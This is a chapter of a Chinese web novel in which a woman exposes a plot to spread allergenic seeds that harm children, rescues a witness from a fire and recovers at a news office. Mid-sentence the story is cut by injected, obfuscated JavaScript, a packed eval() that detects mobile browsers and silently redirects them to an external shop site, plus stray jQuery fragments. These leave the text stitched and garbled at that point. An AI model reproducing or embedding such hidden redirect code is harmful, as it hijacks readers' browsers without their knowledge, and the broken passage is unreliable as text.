宋平安立刻将身子转向背后挂着画的那面墙壁,假装自己是在看画。
“宋姑娘,你怎么在这里?”曹平语气不善。
宋平安转身便对上了曹平那双阴鸷的眸子,她佯装镇定:“我…我听楠楠说您书房中有几幅极好看的画,便想来瞧瞧。”
曹平望着宋平安的眸子,他并不相信她的话。
“曹先生您收藏的画确实和楠楠说的一样,都是些极品。”宋平安的心已经提到了嗓子眼,却仍旧努力让自己的语气保持平静。
“爹爹,你今天怎么那么早就回来了!”此时楠楠从榻上爬了起来,揉了揉惺忪的睡眼。
曹平走上前去将楠楠抱起:“我的宝贝女儿,你怎么在这里睡着了?”
“我带余姐姐来你的书房里看画,太困了就先睡着了。”
听到楠楠的话,曹平眸中的怀疑消散了不少。
见曹平没有继续追问,宋平安在心中浅浅地松了一口气。
“宋姑娘若喜欢我书房中的这几幅画,可以改日再来细细观赏。”
宋平安听出他话中的意思,明白他这是送客的意思,于是便微微欠身作揖,称自己还有一幅画需要修改润色。
曹平点点头,宋平安便离开了书房。
在她走后,曹平立即让丫鬟带楠楠去玩,自己则关上房门,按了按书案后椅子的手柄,蹲下身去检查柜中的布袋子,见无任何异样,才放心下来。
宋平安回到了小屋,心中紧绷的那根弦才完全地松下来。
她确认四下无人,将门窗关好,坐在桌子从怀中掏出了手帕和那几张字据。
突然,宋平安的右手食指和大拇指传来了灼热的痛和痒,不一会儿,食指和大拇指便长了红斑。
这痛痒感怎么这么熟悉……
遭了,是浮茱草过敏!
她想起来了,刚刚在书房里,她曾在两个盒子里取了几粒种子,其中有一盒里的种子和她在大娘家附近的院子里发现的草籽是一模一样的。
只是刚刚情况紧急,她没有反应过来,只顾将种子带回来才过敏了。
她打开手帕一看,果然是浮茱草。
那另外几颗稍大一点的种子,应该就是苏果了。
宋平安忍住手上传来的痒痛,将种子用帕子重新包好后连带着字据一起锁在了床边的柜子里。
人证和物证都有了,只是她心中仍留有两个疑问:为何只有孩童过敏?为何曹平要在城东外种浮茱草?西城,北城和南城外都没有种……
她突然想起来,之前她去城东外发现那一大片浮茱草时是在落日时分,那个时候的风吹得极大。
不过风虽然大却不高,那风吹时,只吹到了她的大腿下部靠近膝盖处的地方。
她身高一米七,风吹到的地方刚好八九十厘米左右,而城东那些过敏的孩子差不多都是十岁以下身高不足一米。
难道……
她的心中有了一个大胆的猜想:当城东黄昏刮起西风时,风可能会将草籽扬起,使其在空中飘浮。由于孩子们身高不足一米,他们的皮肤便更容易接触到这些漂浮的草籽,所以引发了过敏反应。
当天夜里,曹平和吴大夫的话便证实了她的猜想。
入夜,她出门去给人证——李赏擦最后一次药,做最后一次恢复按摩。
出门前,她望了一眼被自己锁住的柜子,担心曹平疑心未完全消除,便开锁将字据和手帕塞进了怀里。
宋平安小心翼翼地走到废弃的房屋附近,正打算上屋掀顶进去时屋里却里亮起烛火,随即便传来说话的声音:“死瞎子,你今日若再不肯为我奏曲,我便杀了你。”
是曹平的声音!宋平安没有想到,今夜曹平会亲自去看废弃房屋里受伤的那个男人。
她一时不知如何是好,只好隐匿在暗处,静观其变。
“休想!”李赏的声音极其颤抖,却又极其坚定。
这个傻子!保命要紧啊!宋平安怕曹平一生气就真的把他给杀了。
“那我便送你上路!”曹平早已失去了耐心,他生气从屋里出来,转头便吩咐两个仆人:“把门锁紧了再点火,等烧得差不多了,再多叫几个人来灭火。”
宋平安心中一惊,曹平想要烧死屋里的人,不行!他不能死,他要是死了,便没有人证了!
可是一切都已经来不及了,曹平走后,两个仆人往里扔了一把火,随后又将门锁上了。
“走,咱哥俩先去喝几杯,等这火烧的差不多了,再叫人来灭火。”
见两人走远了,宋平安才从暗处出来,火愈发地大了,她顾不得火势,急忙搬来一块大石头,往那锁上砸去,一下又一下。
木头燃烧的噼啪声和木头倒塌的声音交织在一起,宋平安的心愈发地着急起来,加大了砸锁的力气。
等着我,你可千万别死啊!
“乒”地一声,锁终于被砸开了,里面的烟雾扑了出来,她被浓烟呛得直咳嗽,她连忙用手捂住了口鼻。
屋内烟雾弥漫,灰暗的空气中闪烁着火光的影子,不断有烧焦的木头掉下来。
李赏本想就这么静静地睡在哪里,等着一把火带走他,可是门开了,在模糊混乱的火影中,他看见那个给她带来月光的姑娘向他奔来。
“她怎么…这么傻…”李赏喃喃道。
“快!你快起来!我带你出去!”宋平安用尽全身力气将他扶起,把他的手架在自己的脖子上。
“砰砰砰”,伴随着沉闷的断裂声,他们周围不断有烧得焦黑的瓦片从屋顶直直地坠下来。
在混乱中,李赏将宋平安紧紧护在怀里,用自己的后背挡住了下落的瓦片。
"砰!"瓦片重重地砸在他的背上,宋平安察觉到他的身体一震,一口鲜血从他的嘴角溢出,他紧咬牙关。
宋平安顾不上检查他后背的情况,急忙架起他向外跑去。
在房屋完全倒塌的最后一刻,两人从火光中逃了出来。
可是危机仍旧没有解除,现在他们若是往前院逃一定会遇上府中家丁,死路一条。宋平安咬咬牙,只能选择堵一把了。
她架着李赏往后院跑去,两人的汗珠交织在一起,宋平安胡乱地抹了一把脸,此刻她的腿已经软了,胃中也开始出现饥饿感。
死胃,怎么这个时候饿!
好不容易跑到尽头,宋平安的心却凉了大半截,面前是一堵死墙!
李赏虽然看得不大清楚,却还是看出了这是一堵墙,喃喃自语道:“对不起,是我拖累了你,你不该来…救我的…”
“你在说什么胡话,本姑娘说要救你出去便一定会说到做到!”宋平安将他轻轻放在地上,慌乱上前摸着每一处墙壁,她不相信,这堵墙连一个出口也没有!
黑夜中,她不断地摸索着。她的手被粗糙的墙壁刮出了血,她强忍着疼痛继续寻找着出口。
终于,她在一处隐蔽的墙根底下发现了一个狗洞,虽然不大,但用力挤挤应该能出去。
此时不远处传来家丁们呼喊的声音:“走水了!来人啊!灭火啊!”
宋平安想时间不够了,得快点逃出去。
“墙根底下有一个狗洞,我们可以从那里爬出去,你的眼睛还没有完全恢复好,我在后面引着你,你先出去。”
李赏不肯动,“你先走。”
“别犹豫了,再这么磨蹭下去,我们两个人都走不了了!”宋平安催促道。
李赏还是坚持她先出去。
“你相信我,我们两个都要好好活着!本姑娘那么惜命,不会那么轻易让自己留在这里的!”
“我信你。”李赏站起身,在宋平安的搀扶引导下向洞口走去,随即他用尽全身的力气向洞外爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074104|149425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去。
他想他爬得越快她就越安全。
他爬出去之后,宋平安便也立刻跟着爬了出去。
出来并不代表着两人就已经安全了,“你还能走吗?”宋平安喘着气问。
“可以。”
于是宋平安又强忍着疼痛带着李赏走了一段路。
走到一片林子里,她回头望了一眼,觉得已经安全了,便直直地躺在了地上。
她现在太累了,身上早已没有了力气,肚子也饿得不行,手上长了红斑的地方早已破了,流了许多的血。
她的意识渐渐地模糊了,难道……她又要死了吗?
“宋平安——宋平安……”她的耳边响起李赏的声音,可是她的眼皮太重了,用力也睁不开——
宋平安再次睁眼,是在采闻司里。
“你终于醒了。”谢闻已端着一碗汤药坐在她的床前。
“我不是在那片树林里吗?”宋平安觉得自己脑袋又重又昏,她揉了揉太阳穴。
“是我把你带回来的,你先把药喝了吧。”
“我自己来吧。”宋平安想抬手去端药却发现自己的手上包着纱布,指尖还在隐隐作痛。
谢闻已用勺子舀起一勺药递到她的嘴边,“你的手还没有好,我喂你吧。”
宋平安张嘴将药喝了下去,谢闻已望着她的脸,拿勺子的手轻轻地抖了一下。
宋平安将药喝完后脸皱成了一团,这药怎么这么苦。
“对了,李公子呢?”宋平安急忙开口问道。
“就是那个伤的很重的男子。”
谢闻已起身将空药碗放在桌子上,他犹豫了一番才缓缓开口:“我发现你的时候,他已经死了。”
宋平安眼中的泪喷涌而出,她明明已经将他从大火里救出来了,明明只差一点,她就能治好他的眼睛了,明明只差一点,他就能做她的人证了……
她不甘,她恨自己,为什么要在那个时候晕死过去……
谢闻已转身看到她的眼泪,心中的苦涩开始蔓延,那个男人对她来说就那么重要吗?重要到她可以不顾自己的性命也要救他出来。
宋平安用手肘抹去眼泪,人证没了,还有物证,她记得她从曹府府中偷走了字据和种子。
她急忙起身去找自己的衣服,“谢闻已,我的衣服呢?”
谢闻已从怀中拿出字据和手帕递给了她,“你是在找这个吧,那天我见你时,这两样东西就掉在了你的旁边。”
“对,就是这个。”宋平安从谢闻已手中接过字据和手帕,急忙打开检查了一番。
“人证死了,物证还在。只要物证还在,我就能揭发曹平的阴谋。”宋平安松了一口气。
“人证?你说那男人是你找的人证?”谢闻已忽然发现自己误会了宋平安和那个男人的关系。
可是就算是这样,为了她的安全,他也不能告诉她那男人没有死的消息。
父亲曾经告诫过他,不可插手曹平售卖苏果之事,曹平背后是一个身份极其尊贵之人。
他不想让她涉险,便开口问道:“你已经查清楚苏果和那种草背后的真相了吗?”
宋平安将自己用假身份混入曹府后发生的事全部告诉了谢闻已。
宋平安说完一切后,她却并没有在谢闻已的脸上看到半分喜悦的神色。
“你怎么了?”宋平安有些不解。
谢闻已想了许久才开口:“如果我现在告诉你,你采集到的信息会害了你,你也还愿意将新闻公之于众吗?”
“究竟怎么了?你今天说话怎么这么奇怪。”谢闻已的话让宋平安更加摸不到头脑了。
“你先回答我,你愿意吗?”谢闻已说这话时表情十分严肃。
“愿意。”她愿意,不仅是因为这条新闻高达一万积分,还因为她要给那些无辜的孩子一个公道。